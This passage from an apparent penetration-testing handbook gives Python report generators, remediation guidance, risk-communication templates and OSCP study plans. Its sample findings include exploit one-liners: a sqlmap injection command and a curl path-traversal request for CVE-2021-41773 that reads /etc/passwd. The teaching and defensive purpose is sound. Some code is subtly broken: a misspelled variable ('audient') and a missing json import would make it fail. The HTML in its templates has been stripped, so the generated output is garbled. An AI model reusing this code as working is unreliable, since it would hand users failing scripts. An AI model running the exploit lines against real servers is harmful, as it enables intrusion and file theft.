Exposure in Public Buckets',\n            'description': 'Customer data exposed in publicly accessible cloud storage.'\n        },\n        {\n            'title': 'Missing Multi-Factor Authentication',\n            'description': 'Administrative interfaces lack MFA protection.'\n        }\n    ],\n    'recommendations': [\n        {\n            'priority': 'IMMEDIATE',\n            'description': 'Patch or isolate systems with critical RCE vulnerabilities.'\n        },\n        {\n            'priority': 'IMMEDIATE',\n            'description': 'Change all default credentials on network devices.'\n        },\n        {\n            'priority': 'HIGH',\n            'description': 'Implement MFA for all administrative access.'\n        },\n        {\n            'priority': 'HIGH',\n            'description': 'Upgrade all end-of-life operating systems.'\n        },\n        {\n            'priority': 'MEDIUM',\n            'description': 'Conduct regular vulnerability scans and establish patch management process.'\n        }\n    ],\n    'conclusion': 'While the organization has implemented basic security controls, significant gaps exist in patch management, configuration hardening, and access controls. Immediate remediation of critical findings is essential to prevent likely compromise.'\n}\n\ngenerator = ExecutiveSummaryGenerator(assessment_data)\nsummary = generator.generate_full_summary()\nprint(summary)\n```\n\n### 28.2 Technical Reporting\n\nTechnical reports provide detailed information for system administrators and security teams to remediate findings.\n\n#### 28.2.1 Technical Report Structure\n\n```python\n#!/usr/bin/env python3\n# technical_report.py\n\nimport json\nimport datetime\nimport hashlib\n\nclass TechnicalReportGenerator:\n    def __init__(self, assessment_data):\n        self.data = assessment_data\n        self.findings = []\n        \n    def add_finding(self, finding):\n        \"\"\"Add technical finding\"\"\"\n        \n        finding_id = hashlib.md5(f\"{finding['title']}{datetime.datetime.now()}\".encode()).hexdigest()[:8]\n        finding['id'] = finding_id\n        self.findings.append(finding)\n        \n    def generate_finding_detail(self, finding):\n        \"\"\"Generate detailed finding description\"\"\"\n        \n        detail = f\"\"\"\n        \n\n            \nFinding {finding['id']}: {finding['title']}\n            \nSeverity: {finding['severity']}\n            \nCVSS Score: {finding.get('cvss', 'N/A')}\n            \nAffected Systems: {', '.join(finding['affected_systems'])}\n            \n            \nDescription\n            \n{finding['description']}\n            \n            \nProof of Concept\n            \n{finding['poc']}\n            \n            \nImpact\n            \n{finding['impact']}\n            \n            \nRemediation\n            \n{finding['remediation']}\n            \n            \nReferences\n            \n\n                {''.join([f'\n{ref}' for ref in finding.get('references', [])])}\n            \n        \n        \"\"\"\n        \n        return detail\n    \n    def generate_technical_section(self):\n        \"\"\"Generate technical methodology section\"\"\"\n        \n        methodology = f\"\"\"\n        \nTechnical Methodology\n        \nThe assessment was conducted using the following methodology:\n        \n        \n1. Reconnaissance\n        \n\n            \nPassive OSINT gathering using public sources\n            \nActive network scanning with Nmap and Masscan\n            \nService enumeration and version detection\n            \nWeb application crawling and directory enumeration\n        \n        \n        \n2. Vulnerability Analysis\n        \n\n            \nAutomated vulnerability scanning with Nessus and OpenVAS\n            \nManual verification of potential findings\n            \nConfiguration review of critical systems\n            \nCredentialed scanning where credentials were provided\n        \n        \n        \n3. Exploitation\n        \n\n            \nControlled exploitation to validate vulnerabilities\n            \nPrivilege escalation attempts on compromised systems\n            \nLateral movement testing within the network\n            \nWeb application exploitation using Burp Suite\n        \n        \n        \n4. Tools Used\n        \n\n            \nNmap, Masscan - Network discovery and port scanning\n            \nNessus, OpenVAS - Vulnerability scanning\n            \nMetasploit - Exploitation framework\n            \nBurp Suite - Web application testing\n            \nWireshark - Network analysis\n            \nCustom scripts for enumeration and exploitation\n        \n        \"\"\"\n        \n        return methodology\n    \n    def generate_technical_report(self, output_file):\n        \"\"\"Generate complete technical report\"\"\"\n        \n        html = f\"\"\"\n        \n        \n        \n            Technical Security Assessment Report: {self.data['client_name']}\n            \n                body {{ font-family: 'Courier New', monospace; margin: 40px; background: #f8f9fa; }}\n                h1 {{ color: #2c3e50; border-bottom: 2px solid #e74c3c; }}\n                h2 {{ color: #34495e; margin-top: 30px; }}\n                h3 {{ color: #7f8c8d; }}\n                h4 {{ color: #2c3e50; margin-top: 20px; }}\n                .finding {{ margin: 30px 0; padding: 20px; border: 1px solid #ddd; border-radius: 5px; }}\n                .critical {{ border-left: 5px solid #c0392b; }}\n                .high {{ border-left: 5px solid #e67e22; }}\n                .medium {{ border-left: 5px solid #f1c40f; }}\n                .low {{ border-left: 5px solid #27ae60; }}\n                .info {{ border-left: 5px solid #3498db; }}\n                .severity-Critical {{ background: #c0392b; color: white; padding: 3px 8px; border-radius: 3px; }}\n                .severity-High {{ background: #e67e22; color: white; padding: 3px 8px; border-radius: 3px; }}\n                .severity-Medium {{ background: #f1c40f; color: black; padding: 3px 8px; border-radius: 3px; }}\n                .severity-Low {{ background: #27ae60; color: white; padding: 3px 8px; border-radius: 3px; }}\n                .severity-Info {{ background: #3498db; color: white; padding: 3px 8px; border-radius: 3px; }}\n                pre {{ background: #ecf0f1; padding: 15px; border-radius: 5px; overflow-x: auto; }}\n                table {{ border-collapse: collapse; width: 100%; margin: 20px 0; }}\n                th, td {{ border: 1px solid #ddd; padding: 8px; text-align: left; }}\n                th {{ background: #34495e; color: white; }}\n                .timestamp {{ color: #7f8c8d; font-size: 0.9em; }}\n            \n        \n        \n            \nTechnical Security Assessment Report\n            \nClient: {self.data['client_name']}\n            \nAssessment Period: {self.data['start_date']} - {self.data['end_date']}\n            \nAssessor: {self.data['assessor']}\n            \nReport Generated: {datetime.datetime.now().strftime('%B %d, %Y')}\n            \n            {self.generate_technical_section()}\n            \n            \nDetailed Findings\n            {''.join([self.generate_finding_detail(f) for f in self.findings])}\n            \n            \nAppendices\n            \nAppendix A: Network Scan Results\n            \n{self.data.get('scan_summary', 'N/A')}\n            \n            \nAppendix B: Credential Analysis\n            \n{self.data.get('credential_summary', 'N/A')}\n            \n            \nAppendix C: Web Application Endpoints\n            \n{self.data.get('web_summary', 'N/A')}\n            \n            \nEnd of Technical Report\n        \n        \n        \"\"\"\n        \n        with open(output_file, 'w') as f:\n            f.write(html)\n            \n        print(f\"[+] Technical report saved to {output_file}\")\n\n# Example usage\ntech_report = TechnicalReportGenerator({\n    'client_name': 'Example Corp',\n    'start_date': '2024-01-15',\n    'end_date': '2024-01-30',\n    'assessor': 'Jane Smith, Senior Security Consultant',\n    'scan_summary': 'Nmap scan identified 47 open ports across 156 systems...',\n    'credential_summary': 'Password analysis revealed 23 weak passwords...',\n    'web_summary': 'Discovered 1,234 web endpoints across 5 applications...'\n})\n\n# Add findings\ntech_report.add_finding({\n    'title': 'SQL Injection in Login Form',\n    'severity': 'Critical',\n    'cvss': '9.8',\n    'affected_systems': ['web01.example.com (192.168.1.100)'],\n    'description': 'The login form at /login.php is vulnerable to time-based blind SQL injection.',\n    'poc': 'sqlmap -u \"https://web01.example.com/login.php\" --data=\"username=admin&amp;password=test\" --technique=T',\n    'impact': 'Attackers can extract sensitive data, bypass authentication, and potentially execute commands.',\n    'remediation': 'Implement parameterized queries and input validation. Use prepared statements.',\n    'references': ['https://owasp.org/www-community/attacks/SQL_Injection']\n})\n\ntech_report.add_finding({\n    'title': 'Outdated Apache Version',\n    'severity': 'High',\n    'cvss': '7.5',\n    'affected_systems': ['web02.example.com (192.168.1.101)'],\n    'description': 'Apache 2.4.49 is vulnerable to path traversal and RCE (CVE-2021-41773).',\n    'poc': 'curl -s --path-as-is \"https://web02.example.com/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd\"',\n    'impact': 'Attackers can read sensitive files and execute arbitrary code.',\n    'remediation': 'Upgrade to Apache 2.4.51 or later.',\n    'references': ['https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773']\n})\n\ntech_report.generate_technical_report('technical_report.html')\n```\n\n### 28.3 Remediation Guidance\n\nProviding clear, actionable remediation guidance is essential for clients to fix identified vulnerabilities.\n\n#### 28.3.1 Remediation Framework\n\n```python\n#!/usr/bin/env python3\n# remediation_guidance.py\n\nclass RemediationGuidance:\n    def __init__(self):\n        self.remediation_categories = {\n            'web_application': self.web_app_remediation,\n            'network': self.network_remediation,\n            'authentication': self.auth_remediation,\n            'encryption': self.encryption_remediation,\n            'configuration': self.config_remediation,\n            'code': self.code_remediation\n        }\n        \n    def web_app_remediation(self, finding):\n        \"\"\"Web application remediation guidance\"\"\"\n        \n        guidance = {\n            'sql_injection': \"\"\"\n                \nSQL Injection Remediation\n                \n\n                    \nUse Parameterized Queries: Replace dynamic SQL with prepared statements.\n                        \n\n                        // Vulnerable\n                        $query = \"SELECT * FROM users WHERE username = '\" . $_POST['username'] . \"'\";\n                        \n                        // Secure (PHP PDO)\n                        $stmt = $pdo-&gt;prepare(\"SELECT * FROM users WHERE username = :username\");\n                        $stmt-&gt;execute(['username' =&gt; $_POST['username']]);\n                        \n                    \n                    \nInput Validation: Implement strict input validation on all user inputs.\n                    \nLeast Privilege: Database accounts should have minimal necessary privileges.\n                    \nWAF: Deploy Web Application Firewall rules to block SQLi attempts.\n                    \nEscaping: If parameters can't be used, ensure proper escaping of special characters.\n                \n            \"\"\",\n            \n            'xss': \"\"\"\n                \nCross-Site Scripting (XSS) Remediation\n                \n\n                    \nOutput Encoding: Encode all user-supplied data before rendering.\n                        \n\n                        // Vulnerable\n                        document.getElementById('output').innerHTML = userInput;\n                        \n                        // Secure\n                        document.getElementById('output').textContent = userInput;\n                        \n                    \n                    \nContent Security Policy: Implement CSP headers.\n                        \n\n                        Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com\n                        \n                    \n                    \nHttpOnly Cookies: Set HttpOnly flag for session cookies.\n                    \nInput Validation: Validate and sanitize all user inputs.\n                    \nContext-Aware Escaping: Use appropriate escaping for HTML, JavaScript, CSS contexts.\n                \n            \"\"\",\n            \n            'csrf': \"\"\"\n                \nCross-Site Request Forgery (CSRF) Remediation\n                \n\n                    \nAnti-CSRF Tokens: Implement unique tokens for each session and request.\n                        \n\n                        &lt;input type=\"hidden\" name=\"csrf_token\" value=\"&lt;?php echo $_SESSION['csrf_token']; ?&gt;\"&gt;\n                        \n                    \n                    \nSameSite Cookies: Set SameSite=Strict or SameSite=Lax for cookies.\n                    \nCustom Headers: Require custom headers for sensitive requests.\n                    \nRe-authentication: Require password confirmation for critical actions.\n                    \nCAPTCHA: Implement CAPTCHA for sensitive forms.\n                \n            \"\"\"\n        }\n        \n        vuln_type = finding.get('type', '')\n        return guidance.get(vuln_type, \"\nNo specific remediation available for this finding type.\")\n    \n    def network_remediation(self, finding):\n        \"\"\"Network security remediation\"\"\"\n        \n        guidance = {\n            'open_ports': \"\"\"\n                \nOpen Ports Remediation\n                \n\n                    \nClose Unnecessary Ports: Disable services on non-essential ports.\n                        \n\n                        # Example: Close port 23 (telnet)\n                        sudo ufw deny 23/tcp\n                        sudo systemctl disable telnet.socket\n                        \n                    \n                    \nImplement Firewall Rules: Restrict access to necessary IP ranges.\n                    \nNetwork Segmentation: Place services in appropriate network segments.\n                    \nPort Knocking: Consider port knocking for sensitive services.\n                    \nRegular Audits: Conduct regular port scanning to detect unauthorized services.\n                \n            \"\"\",\n            \n            'weak_ciphers': \"\"\"\n                \nWeak Cipher Remediation\n                \n\n                    \nDisable Weak Protocols: Disable SSLv3, TLSv1.0, TLSv1.1.\n                    \nConfigure Strong Ciphers: Use only strong ciphers.\n                        \n\n                        # Apache configuration\n                        SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1\n                        SSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256\n                        \n                    \n                    \nUse Modern TLS: Enable TLSv1.2 and TLSv1.3 only.\n                    \nPerfect Forward Secrecy: Ensure PFS is enabled with ECDHE.\n                    \nTest Configuration: Use tools like SSL Labs to verify configuration.\n                \n            \"\"\"\n        }\n        \n        vuln_type = finding.get('type', '')\n        return guidance.get(vuln_type, \"\nNo specific network remediation available.\")\n    \n    def auth_remediation(self, finding):\n        \"\"\"Authentication remediation\"\"\"\n        \n        guidance = {\n            'weak_passwords': \"\"\"\n                \nWeak Password Remediation\n                \n\n                    \nPassword Policy: Implement strong password requirements.\n                        \n\n                        # /etc/security/pwquality.conf\n                        minlen = 14\n                        dcredit = -1\n                        ucredit = -1\n                        lcredit = -1\n                        ocredit = -1\n                        \n                    \n                    \nMulti-Factor Authentication: Implement MFA for all users.\n                    \nAccount Lockout: Lock accounts after failed attempts.\n                    \nPassword History: Prevent password reuse.\n                    \nRegular Password Changes: Enforce periodic password changes.\n                \n            \"\"\",\n            \n            'default_credentials': \"\"\"\n                \nDefault Credential Remediation\n                \n\n                    \nChange Immediately: Change all default credentials during deployment.\n                    \nInventory: Maintain inventory of all default credentials that need changing.\n                    \nAutomated Checks: Implement scripts to check for default credentials.\n                    \nVendor Documentation: Review vendor documentation for all default accounts.\n                    \nRemove Unnecessary Accounts: Delete default accounts that aren't needed.\n                \n            \"\"\",\n            \n            'missing_mfa': \"\"\"\n                \nMissing Multi-Factor Authentication Remediation\n                \n\n                    \nImplement MFA: Deploy MFA for all administrative access.\n                    \nChoose MFA Method: Select appropriate MFA methods:\n                        \n\n                            \nTOTP (Google Authenticator, Microsoft Authenticator)\n                            \nSMS-based verification (less secure)\n                            \nHardware tokens (YubiKey)\n                            \nBiometric authentication\n                        \n                    \n                    \nEnforce for All Users: Make MFA mandatory for all accounts.\n                    \nRecovery Procedures: Implement secure account recovery procedures.\n                    \nMonitor MFA Usage: Monitor for MFA bypass attempts.\n                \n            \"\"\"\n        }\n        \n        vuln_type = finding.get('type', '')\n        return guidance.get(vuln_type, \"\nNo specific authentication remediation available.\")\n    \n    def encryption_remediation(self, finding):\n        \"\"\"Encryption remediation\"\"\"\n        \n        guidance = {\n            'missing_encryption': \"\"\"\n                \nMissing Encryption Remediation\n                \n\n                    \nEnable HTTPS: Implement TLS for all web traffic.\n                        \n\n                        # Apache: Redirect HTTP to HTTPS\n                        RewriteEngine On\n                        RewriteCond %{HTTPS} off\n                        RewriteRule ^(.*)$ https://%{HTTP_HOST}/$1 [R=301,L]\n                        \n                    \n                    \nObtain Valid Certificate: Use certificates from trusted CAs (Let's Encrypt).\n                    \nEncrypt Data at Rest: Implement disk encryption for sensitive data.\n                    \nDatabase Encryption: Enable TDE for databases containing sensitive data.\n                    \nEncrypt Backups: Ensure all backups are encrypted.\n                \n            \"\"\",\n            \n            'weak_encryption': \"\"\"\n                \nWeak Encryption Remediation\n                \n\n                    \nUpgrade Algorithms: Replace weak algorithms (DES, RC4) with AES-256.\n                    \nIncrease Key Length: Use minimum 2048-bit RSA or 256-bit ECC.\n                    \nSecure Key Management: Implement proper key rotation and storage.\n                    \nHardware Security Modules: Consider HSM for critical keys.\n                    \nRegular Audits: Audit encryption implementations regularly.\n                \n            \"\"\"\n        }\n        \n        vuln_type = finding.get('type', '')\n        return guidance.get(vuln_type, \"\nNo specific encryption remediation available.\")\n    \n    def config_remediation(self, finding):\n        \"\"\"Configuration remediation\"\"\"\n        \n        guidance = {\n            'directory_listing': \"\"\"\n                \nDirectory Listing Remediation\n                \n\n                    \nDisable Directory Listing:\n                        \n\n                        # Apache\n                        Options -Indexes\n                        \n                        # Nginx\n                        autoindex off;\n                        \n                        # IIS\n                        &lt;configuration&gt;\n                            &lt;system.webServer&gt;\n                                &lt;directoryBrowse enabled=\"false\" /&gt;\n                            &lt;/system.webServer&gt;\n                        &lt;/configuration&gt;\n                        \n                    \n                    \nRemove Unnecessary Files: Delete backup files, READMEs, and example files.\n                    \nIndex Pages: Place index.html in directories that should be accessible.\n                    \nAccess Controls: Implement proper authentication for sensitive directories.\n                \n            \"\"\",\n            \n            'information_disclosure': \"\"\"\n                \nInformation Disclosure Remediation\n                \n\n                    \nRemove Version Headers:\n                        \n\n                        # Apache\n                        ServerTokens Prod\n                        ServerSignature Off\n                        \n                        # Nginx\n                        server_tokens off;\n                        \n                    \n                    \nCustom Error Pages: Replace default error pages with custom ones.\n                    \nRemove Comments: Remove comments containing sensitive information.\n                    \nMinimize Response Data: Only send necessary data in responses.\n                    \nSecurity Headers: Implement security headers to reduce information leakage.\n                \n            \"\"\"\n        }\n        \n        vuln_type = finding.get('type', '')\n        return guidance.get(vuln_type, \"\nNo specific configuration remediation available.\")\n    \n    def code_remediation(self, finding):\n        \"\"\"Code remediation\"\"\"\n        \n        guidance = {\n            'hardcoded_secrets': \"\"\"\n                \nHardcoded Secrets Remediation\n                \n\n                    \nRemove Hardcoded Secrets: Remove credentials from code immediately.\n                    \nUse Environment Variables:\n                        \n\n                        # Python\n                        import os\n                        db_password = os.environ.get('DB_PASSWORD')\n                        \n                        # Node.js\n                        const dbPassword = process.env.DB_PASSWORD;\n                        \n                    \n                    \nSecret Management: Use secret management tools (HashiCorp Vault, AWS Secrets Manager).\n                    \nRotate Compromised Secrets: Immediately rotate any exposed credentials.\n                    \nScan for Secrets: Implement automated scanning for secrets in code.\n                \n            \"\"\",\n            \n            'insecure_deserialization': \"\"\"\n                \nInsecure Deserialization Remediation\n                \n\n                    \nValidate Input: Implement strict validation before deserialization.\n                    \nUse Safe Libraries: Use libraries with built-in security.\n                    \nIntegrity Checks: Implement signing of serialized objects.\n                    \nIsolate Deserialization: Run deserialization in sandboxed environments.\n                    \nMonitor Deserialization: Monitor for unusual deserialization attempts.\n                \n            \"\"\"\n        }\n        \n        vuln_type = finding.get('type', '')\n        return guidance.get(vuln_type, \"\nNo specific code remediation available.\")\n    \n    def generate_remediation_section(self, findings):\n        \"\"\"Generate complete remediation section\"\"\"\n        \n        remediation_html = \"\nRemediation Guidance\"\n        \n        for finding in findings:\n            category = finding.get('category', '')\n            if category in self.remediation_categories:\n                remediation_html += self.remediation_categories[category](finding)\n            else:\n                remediation_html += f\"\n{finding['title']}\nNo specific remediation available.\"\n                \n        return remediation_html\n\n# Example usage\nremediation = RemediationGuidance()\n\nfindings = [\n    {\n        'title': 'SQL Injection in Login Form',\n        'type': 'sql_injection',\n        'category': 'web_application'\n    },\n    {\n        'title': 'Weak Passwords Allowed',\n        'type': 'weak_passwords',\n        'category': 'authentication'\n    },\n    {\n        'title': 'Directory Listing Enabled',\n        'type': 'directory_listing',\n        'category': 'configuration'\n    }\n]\n\nremediation_html = remediation.generate_remediation_section(findings)\nprint(remediation_html)\n```\n\n### 28.4 Risk Communication\n\nEffectively communicating risk to stakeholders is crucial for driving remediation efforts.\n\n#### 28.4.1 Risk Communication Framework\n\n```python\n#!/usr/bin/env python3\n# risk_communication.py\n\nclass RiskCommunicator:\n    def __init__(self):\n        self.audience_levels = {\n            'executive': self.executive_communication,\n            'technical': self.technical_communication,\n            'board': self.board_communication,\n            'compliance': self.compliance_communication\n        }\n        \n    def executive_communication(self, risk):\n        \"\"\"Communicate risk to executives\"\"\"\n        \n        return f\"\"\"\n        \n\n            \nBusiness Risk: {risk['title']}\n            \nRisk Level: {risk['level']}\n            \nBusiness Impact: {risk['business_impact']}\n            \nFinancial Implications: {risk['financial_impact']}\n            \nRecommended Investment: {risk['remediation_cost']}\n            \nTimeline: {risk['remediation_timeline']}\n        \n        \"\"\"\n        \n    def technical_communication(self, risk):\n        \"\"\"Communicate risk to technical teams\"\"\"\n        \n        return f\"\"\"\n        \n\n            \nTechnical Risk: {risk['title']}\n            \nCVSS Score: {risk['cvss']}\n            \nAffected Systems: {', '.join(risk['affected_systems'])}\n            \nTechnical Details: {risk['technical_details']}\n            \nExploitability: {risk['exploitability']}\n            \nRemediation Steps:\n            \n\n                {''.join([f'\n{step}' for step in risk['remediation_steps']])}\n            \n        \n        \"\"\"\n        \n    def board_communication(self, risk):\n        \"\"\"Communicate risk to board of directors\"\"\"\n        \n        return f\"\"\"\n        \n\n            \nStrategic Risk: {risk['title']}\n            \nRisk Appetite Alignment: {risk['appetite_alignment']}\n            \nRegulatory Impact: {risk['regulatory_impact']}\n            \nReputational Risk: {risk['reputational_impact']}\n            \nCompetitive Impact: {risk['competitive_impact']}\n            \nRecommended Strategy: {risk['strategy']}\n        \n        \"\"\"\n        \n    def compliance_communication(self, risk):\n        \"\"\"Communicate risk to compliance officers\"\"\"\n        \n        return f\"\"\"\n        \n\n            \nCompliance Risk: {risk['title']}\n            \nRegulatory Framework: {risk['regulatory_framework']}\n            \nViolation: {risk['violation']}\n            \nPotential Fines: {risk['potential_fines']}\n            \nRequired Controls: {risk['required_controls']}\n            \nAudit Findings: {risk['audit_findings']}\n        \n        \"\"\"\n        \n    def create_risk_register(self, risks):\n        \"\"\"Create comprehensive risk register\"\"\"\n        \n        register = \"\"\"\n        \nRisk Register\n        \n\n            \n                ID\n                Risk\n                Level\n                Owner\n                Status\n                Due Date\n            \n        \"\"\"\n        \n        for risk in risks:\n            register += f\"\"\"\n            \n                {risk['id']}\n                {risk['title']}\n                {risk['level']}\n                {risk['owner']}\n                {risk['status']}\n                {risk['due_date']}\n            \n            \"\"\"\n            \n        register += \"\"\n        return register\n    \n    def prioritize_risks(self, risks):\n        \"\"\"Prioritize risks for remediation\"\"\"\n        \n        # Sort by risk level and business impact\n        risk_weights = {\n            'Critical': 4,\n            'High': 3,\n            'Medium': 2,\n            'Low': 1\n        }\n        \n        sorted_risks = sorted(risks, \n                            key=lambda x: (risk_weights.get(x['level'], 0), \n                                         x.get('business_impact_score', 0)),\n                            reverse=True)\n        \n        priority_html = \"\nRemediation Priorities\n\"\n        \n        for i, risk in enumerate(sorted_risks, 1):\n            priority_html += f\"\n{risk['title']} - {risk['level']} - Due: {risk['remediation_timeline']}\"\n            \n        priority_html += \"\"\n        \n        return priority_html\n\n# Example usage\ncommunicator = RiskCommunicator()\n\nrisks = [\n    {\n        'id': 'RISK-001',\n        'title': 'Critical RCE in Web Application',\n        'level': 'Critical',\n        'owner': 'App Team',\n        'status': 'Open',\n        'due_date': '2024-02-15',\n        'business_impact': 'Complete system compromise, data breach',\n        'financial_impact': '$500K - $2M potential loss',\n        'remediation_cost': '$50K',\n        'remediation_timeline': '2 weeks',\n        'cvss': '9.8',\n        'affected_systems': ['web01', 'web02'],\n        'technical_details': 'Unauthenticated RCE via SQL injection',\n        'exploitability': 'High - public exploit available',\n        'remediation_steps': ['Apply patch', 'Implement WAF rules', 'Code review'],\n        'appetite_alignment': 'Exceeds risk appetite',\n        'regulatory_impact': 'GDPR, PCI DSS violation',\n        'reputational_impact': 'High - customer data exposure',\n        'competitive_impact': 'Loss of competitive advantage',\n        'strategy': 'Immediate remediation required',\n        'regulatory_framework': 'PCI DSS 6.5.1',\n        'violation': 'SQL injection vulnerability',\n        'potential_fines': '$100K - $500K',\n        'required_controls': 'Secure coding practices, WAF',\n        'audit_findings': 'Critical finding from last audit',\n        'business_impact_score': 95\n    }\n]\n\n# Communicate to different audiences\nfor audience in ['executive', 'technical', 'board', 'compliance']:\n    print(f\"\\n=== {audient.upper()} COMMUNICATION ===\")\n    print(communicator.audience_levels[audience](risks[0]))\n\n# Create risk register\nregister = communicator.create_risk_register(risks)\nprint(register)\n\n# Prioritize risks\npriorities = communicator.prioritize_risks(risks)\nprint(priorities)\n```\n\n---\n\n## Chapter 29 \u2014 Certifications &amp; Career\n\nBuilding a successful career in information security requires continuous learning, certification, and practical experience.\n\n### 29.1 Offensive Security Certifications\n\nOffensive Security offers some of the most respected hands-on certifications in the industry.\n\n#### 29.1.1 Certification Path\n\n```python\n#!/usr/bin/env python3\n# certification_path.py\n\nclass OffensiveSecurityCertifications:\n    def __init__(self):\n        self.certifications = {\n            'OSCP': {\n                'name': 'Offensive Security Certified Professional',\n                'exam': '24-hour practical exam',\n                'lab': '30-90 days lab access',\n                'difficulty': 'Intermediate',\n                'prerequisites': ['Networking basics', 'Linux command line', 'Scripting'],\n                'topics': ['Buffer overflows', 'Web attacks', 'Privilege escalation', 'Tunneling'],\n                'cost': '$999 - $1499',\n                'recommended_study': '90 days, 4-6 hours daily'\n            },\n            'OSWP': {\n                'name': 'Offensive Security Wireless Professional',\n                'exam': '4-hour practical',\n                'lab': 'Wireless lab',\n                'difficulty': 'Intermediate',\n                'prerequisites': ['OSCP recommended', 'Wireless basics'],\n                'topics': ['WPA/WPA2 attacks', 'Rogue APs', 'WPS attacks'],\n                'cost': '$350',\n                'recommended_study': '30 days, 2-3 hours daily'\n            },\n            'OSEP': {\n                'name': 'Offensive Security Experienced Penetration Tester',\n                'exam': '48-hour practical',\n                'lab': 'Advanced network',\n                'difficulty': 'Advanced',\n                'prerequisites': ['OSCP', 'Strong programming skills'],\n                'topics': ['Advanced evasion', 'Active Directory', 'Custom exploits'],\n                'cost': '$1499',\n                'recommended_study': '90-120 days, 6-8 hours daily'\n            },\n            'OSED': {\n                'name': 'Offensive Security Exploit Developer',\n                'exam': '72-hour practical',\n                'lab': 'Exploit development',\n                'difficulty': 'Advanced',\n                'prerequisites': ['OSCP', 'Assembly knowledge'],\n                'topics': ['Windows exploitation', 'Egg hunters', 'ASLR/DEP bypass'],\n                'cost': '$1499',\n                'recommended_study': '90-120 days, 6-8 hours daily'\n            },\n            'OSWE': {\n                'name': 'Offensive Security Web Expert',\n                'exam': '48-hour practical',\n                'lab': 'Web applications',\n                'difficulty': 'Advanced',\n                'prerequisites': ['OSCP', 'Web development'],\n                'topics': ['Whitebox testing', 'Advanced web exploits', 'Source code review'],\n                'cost': '$1499',\n                'recommended_study': '90 days, 6-8 hours daily'\n            },\n            'OSCE3': {\n                'name': 'Offensive Security Certified Expert 3',\n                'description': 'Master-level certification combining OSEP, OSED, and OSWE',\n                'difficulty': 'Expert',\n                'prerequisites': ['OSEP', 'OSED', 'OSWE'],\n                'status': 'Available'\n            }\n        }\n        \n    def get_certification_info(self, cert_code):\n        \"\"\"Get detailed certification information\"\"\"\n        \n        if cert_code in self.certifications:\n            return self.certifications[cert_code]\n        return None\n    \n    def recommend_path(self, background):\n        \"\"\"Recommend certification path based on background\"\"\"\n        \n        paths = {\n            'beginner': ['OSCP', 'OSWP'],\n            'network_admin': ['OSCP', 'OSEP'],\n            'developer': ['OSCP', 'OSWE', 'OSED'],\n            'security_analyst': ['OSCP', 'OSEP'],\n            'experienced_pentester': ['OSEP', 'OSED', 'OSWE']\n        }\n        \n        return paths.get(background, ['OSCP'])\n    \n    def create_study_plan(self, cert_code, weeks=12):\n        \"\"\"Create study plan for certification\"\"\"\n        \n        cert = self.get_certification_info(cert_code)\n        if not cert:\n            return None\n            \n        study_plan = f\"\"\"\n        \nStudy Plan for {cert['name']}\n        \nDuration: {weeks} weeks\n        \n        \nWeeks 1-2: Foundations\n        \n\n            \nSet up lab environment\n            \nReview prerequisites: {', '.join(cert['prerequisites'])}\n            \nComplete introductory exercises\n        \n        \n        \nWeeks 3-6: Core Topics\n        \n\n            {''.join([f'\nMaster {topic}' for topic in cert['topics']])}\n        \n        \n        \nWeeks 7-10: Practice\n        \n\n            \nComplete all lab exercises\n            \nPractice on additional machines\n            \nJoin study groups and forums\n        \n        \n        \nWeeks 11-12: Exam Preparation\n        \n\n            \nTake practice exams\n            \nReview weak areas\n            \nPlan exam strategy\n            \nEnsure technical setup works\n        \n        \"\"\"\n        \n        return study_plan\n\n# Example usage\ncerts = OffensiveSecurityCertifications()\n\n# Get OSCP info\noscp_info = certs.get_certification_info('OSCP')\nprint(json.dumps(oscp_info, indent=2))\n\n# Get recommended path\nrecommended = certs.recommend_path('developer')\nprint(f\"Recommended certifications: {recommended}\")\n\n# Create study plan\nplan = certs.create_study_plan('OSCP', 12)\nprint(plan)\n```\n\n### 29.2 OSCP Preparation\n\nThe OSCP (Offensive Security Certified Professional) is the most popular entry-level penetration testing certification.\n\n#### 29.2.1 OSCP Study Guide\n\n```python\n#!/usr/bin/env python3\n# oscp_preparation.py\n\nclass OSCPPreparation:\n    def __init__(self):\n        self.exam_topics = {\n            'information_gathering': ['Nmap', 'Recon-ng', 'Google dorks'],\n            'vulnerability_analysis': ['OpenVAS', 'Nikto', 'Manual testing'],\n            'web_attacks': ['SQL injection', 'XSS', 'File upload', 'LFI/RFI'],\n            'password_attacks': ['Hydra', 'John the Ripper', 'Hashcat'],\n            'exploitation': ['Metasploit', 'Manual exploitation', 'Buffer overflows'],\n            'privilege_escalation': ['Linux', 'Windows'],\n            'client_attacks': ['Social engineering', 'Phishing'],\n            'post_exploitation': ['Pivoting', 'Tunneling', 'Persistence']\n        }\n        \n        self.resources = {\n            'books': [\n                'The Web Application Hacker\\'s Handbook',\n                'Penetration Testing: A Hands-On Introduction',\n                'Metasploit: The Penetration Tester\\'s Guide'\n            ],\n            'online_labs': [\n                'HackTheBox',\n                'TryHackMe',\n                'PentesterLab',\n                'VulnHub',\n                'Offensive Security Labs'\n            ],\n            'practice_machines': [\n                'Kioptrix series',\n                'Vulnix',\n                'Mr-Robot',\n                'SickOS',\n                'FristiLeaks'\n            ],\n            'cheat_sheets': [\n                'Nmap cheatsheet',\n                'SQL injection cheatsheet',\n                'Privilege escalation cheatsheet',\n                'Metasploit cheatsheet'\n            ]\n        }\n        \n    def create_study_timeline(self, weeks=12):\n        \"\"\"Create detailed study timeline\"\"\"\n        \n        timeline = f\"\"\"\n        \nOSCP 12-Week Study Plan\n        \n        \nWeek 1-2: Networking and Linux Fundamentals\n        \n\n            \nTCP/IP stack deep dive\n            \nSubnetting and CIDR\n            \nLinux command line mastery\n            \nBash scripting basics\n            \nPractice: 10 Linux machines on HTB/TryHackMe\n        \n        \n        \nWeek 3-4: Information Gathering and Scanning\n        \n\n            \nNmap advanced techniques\n            \nDNS enumeration\n            \nOSINT gathering\n            \nPractice: Scan entire networks and document\n        \n        \n        \nWeek 5-6: Web Application Attacks\n        \n\n            \nSQL injection (manual and sqlmap)\n            \nXSS attacks\n            \nFile upload vulnerabilities\n            \nLFI/RFI exploitation\n            \nPractice: 20 web-focused machines\n        \n        \n        \nWeek 7-8: Buffer Overflows\n        \n\n            \nx86 assembly basics\n            \nStack overflows\n            \nShellcode development\n            \nPractice: 5 custom overflow exercises daily\n        \n        \n        \nWeek 9-10: Privilege Escalation\n        \n\n            \nLinux enumeration scripts\n            